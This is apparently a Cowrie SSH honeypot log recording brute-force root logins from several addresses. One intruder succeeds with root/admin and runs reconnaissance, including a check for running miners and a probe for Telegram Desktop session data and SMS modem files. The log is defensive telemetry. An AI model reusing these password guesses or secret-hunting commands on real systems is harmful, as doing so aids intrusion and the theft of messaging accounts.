{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":35694,"dst_ip":"159.203.135.109","dst_port":22,"session":"9535ea54e3c4","protocol":"ssh","message":"New connection: 154.83.196.237:35694 (159.203.135.109:22) [session: 9535ea54e3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:33.184441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:33.188889Z","src_ip":"154.83.196.237","session":"9535ea54e3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:33.310135Z","src_ip":"154.83.196.237","session":"9535ea54e3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2059","message":"login attempt [root/2059] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:33.831385Z","src_ip":"154.83.196.237","session":"9535ea54e3c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:34.958086Z","src_ip":"154.83.196.237","session":"9535ea54e3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59486,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec08f7f92b12","protocol":"ssh","message":"New connection: 43.163.119.215:59486 (10.17.0.5:22) [session: ec08f7f92b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:37.445958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:37.451252Z","src_ip":"43.163.119.215","session":"ec08f7f92b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:37.690993Z","src_ip":"43.163.119.215","session":"ec08f7f92b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:38.406438Z","src_ip":"43.163.119.215","session":"ec08f7f92b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36206,"dst_ip":"159.203.135.109","dst_port":22,"session":"785ebf785c41","protocol":"ssh","message":"New connection: 103.75.199.4:36206 (159.203.135.109:22) [session: 785ebf785c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:38.932861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:38.939936Z","src_ip":"103.75.199.4","session":"785ebf785c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.031141Z","src_ip":"103.75.199.4","session":"785ebf785c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.305390Z","src_ip":"103.75.199.4","session":"785ebf785c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.647476Z","src_ip":"43.163.119.215","session":"ec08f7f92b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.33.193.44","src_port":44598,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2853a215c6","protocol":"ssh","message":"New connection: 92.33.193.44:44598 (10.17.0.5:22) [session: 8b2853a215c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.729014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.734302Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:39.844080Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:40.398381Z","src_ip":"103.75.199.4","session":"785ebf785c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:45.554158Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:46.666579Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:46.935193Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:46.937936Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:46.940936Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.053711Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.317047Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.320610Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.434668Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.704586Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.708041Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:47.821164Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.099186Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.102126Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.217082Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.488777Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.492299Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.606641Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.873966Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.877743Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:48.992084Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.267738Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.271320Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.387625Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.654794Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.658526Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:49.838133Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":33456,"dst_ip":"159.203.135.109","dst_port":22,"session":"16799a22f911","protocol":"ssh","message":"New connection: 186.116.56.108:33456 (159.203.135.109:22) [session: 16799a22f911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.011735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.016711Z","src_ip":"186.116.56.108","session":"16799a22f911","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.105772Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.109165Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.118898Z","src_ip":"186.116.56.108","session":"16799a22f911","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:26:50.222514Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
